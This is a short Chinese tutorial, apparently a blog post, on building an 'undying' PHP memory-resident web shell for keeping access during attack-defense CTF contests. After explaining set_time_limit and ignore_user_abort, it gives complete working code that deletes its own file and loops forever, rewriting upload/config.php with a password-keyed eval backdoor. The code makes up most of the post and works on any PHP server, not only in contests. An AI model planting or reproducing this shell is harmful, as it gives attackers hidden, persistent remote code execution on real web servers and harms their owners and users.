简单的PHP内存马

在线下赛做权限维持时,最常用的就是上传一个不死shell,其实也就只是把脚本写到了进程里,每隔一段时间便运行一次

set_time_limit()

set_time_limit — 设置脚本最大执行时间
语法:set_time_limit ( int $seconds )
参数:seconds最大的执行时间,单位为秒。如果设置为0(零),没有时间方面的限制。

ignore_user_abort()

ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行
设置为1则不会中断执行

删除自身

代码

1
2
3
4
5
6
7
8
9
10
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('upload/config.php','<?php @eval($_POST["Isron"]);?>');
}
?>